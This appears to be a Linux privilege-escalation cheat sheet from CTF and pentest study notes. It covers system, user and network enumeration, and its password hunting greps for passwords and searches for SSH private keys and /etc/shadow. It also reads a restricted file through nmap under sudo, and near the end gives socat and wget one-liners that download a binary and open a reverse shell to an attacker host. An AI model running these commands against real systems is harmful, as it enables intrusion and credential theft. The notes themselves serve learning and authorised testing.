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Privilege Escalation

System Enumeration

  • hostname will return the hostname of the target machine

  • uname -a Will print system information

  • cat /proc/version provides information about the target system processes

  • cat /etc/issue contains some information about the operating system but can be changed

  • ps see the running processes

    • ps -A View all running processes

    • ps axjf View process tree

    • ps aux The aux option will show processes for all users (a), display the user that launched the process (u), and show processes that are not attached to a terminal (x).

    • ps aux | grep root

  • env will show environmental variables

  • lscpu gives info about the architecture

  • ls -la /etc/cron.daily/ check daily cronjobs

  • cat /etc/crontab check the crontab

  • lsblk check for file system and additional drives

PSPY

  • PSPY is a tool to look for running processes

  • We can get it here

  • And then we just need to launch it ./pspy64 -pf -i 1000 The -pf flag tells the tool to print commands and file system events and -i 1000 tells it to scan profcs every 1000ms (or every second).

User enumeration

  • whoami gives username

  • ìd general overview of the user’s privilege level and group memberships

  • cat /etc/passwd list of users on the system

    • cat /etc/passwd | grep home | cut -d ":" -f 1 this should return only users (and no service accounts)

  • cat /etc/shadow hash store file

  • cat /etc/groups

  • history will show previous commands

  • sudo -l what can we run as sudo. Example

    sudo -l
Matching Defaults entries for cerealkiller on ip-172-31-63-238:
	env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User cerealkiller may run the following commands on ip-172-31-63-238:
    (phantom) NOPASSWD: ALL
    (vimuser) NOPASSWD: /usr/bin/vim
    (nmapuser) NOPASSWD: /usr/bin/nmap

  • sudo -u phantom cat /home/phantom/flag.txt execute a command with another user

  • find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null Find writable directories

  • find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null Find writable files

Network Enumeration

  • ifconfig information about the network interfaces of the system

  • ip add (similar to ifconfig)

  • ip route show network routes

  • arp -a or ip neigh

  • netstat gather information on existing connections

    • netstat -a shows all listening ports and established connections.

    • netstat -at or netstat -au can also be used to list TCP or UDP protocols respectively.

    • netstat -l list ports in “listening” mode. These ports are open and ready to accept incoming connections. This can be used with the “t” option to list only ports that are listening using the TCP protocol (below)

    • netstat -s list network usage statistics by protocol (below) This can also be used with the -t or -u options to limit the output to a specific protocol.

    • netstat -ltp list connections with the service name and PID information and listening ports.

    • netstat -i Shows interface statistics.

    • netstat -ano -a Display all sockets, -n Do not resolve names, -o Display timers

Password Hunting

  • grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null we can also search for "PASSWORD=" to narrow the search

  • We can also hunt down SSH keys find / -name authorized_keys 2> /dev/null or find / -name id_rsa 2> /dev/null

Misc CTF tricks

Read file with nmap

  • Being creative with nmap if we do not have rights to read a specific file

    sudo -u nmapuser nmap -iL flag.txt 127.0.0.1
Starting Nmap 7.60 ( https://nmap.org ) at 2020-06-21 02:54 UTC
Failed to resolve "HF-B2C56B421F6229316B00A973586AAAD1".
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.04 seconds

Upgrade a reverse shell to a fully TTY interactive shell

  • Sometimes we will get a shell but it won't be very convenient. There are some ways to upgrade your shells to interactive TTY reverse shell

  • This article on ropnop blog shows multiple ways to do so.

  • python -c 'import pty; pty.spawn("/bin/bash")' if you want a quick dirty little fix but not completely interactive this python command works well for python3 it is the same but like this python3 -c 'import pty; pty.spawn("/bin/bash")'

  • With socat

    • socat file:tty,raw,echo=0 tcp-listen:4444 on your kali

    • socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 from the victime machine

    • If socat is not installed see here for static binaries

    • wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 OR wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat in your kali then put on your python3 webserver and then wget -q http://YOUR-KALI-IP/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:YOUR-KALI-IP:4444

Automated Tools

Checklist

Resources

LogoTCM Security Academyacademy.tcm-sec.com
Linux Privesc on TCM-Security Academy
LogoBasic Linux Privilege Escalation - g0tmi1kblog.g0tmi1k.com
Basic Linux Privesc
LogoGTFOBinsgtfobins.github.io
GTFoBins a curated list of Unix binaries
LogoPayloadsAllTheThings/Methodology and Resources/Linux - Privilege Escalation.md at master · swisskyrepo/PayloadsAllTheThingsGitHub
Linux - Privilege Escalation - Payload all the things
LogoPage not found - HackTricksbook.hacktricks.xyz
Checklist - Linux Privilege Escalation
https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_-_linux.htmlsushant747.gitbooks.io
Sushant 747's Guide (Country dependant - may need VPN)
hhttps://github.com/TCM-Course-Resources/Linux-Privilege-Escalation-Resources
Linux-Privilege-Escalation-Resources
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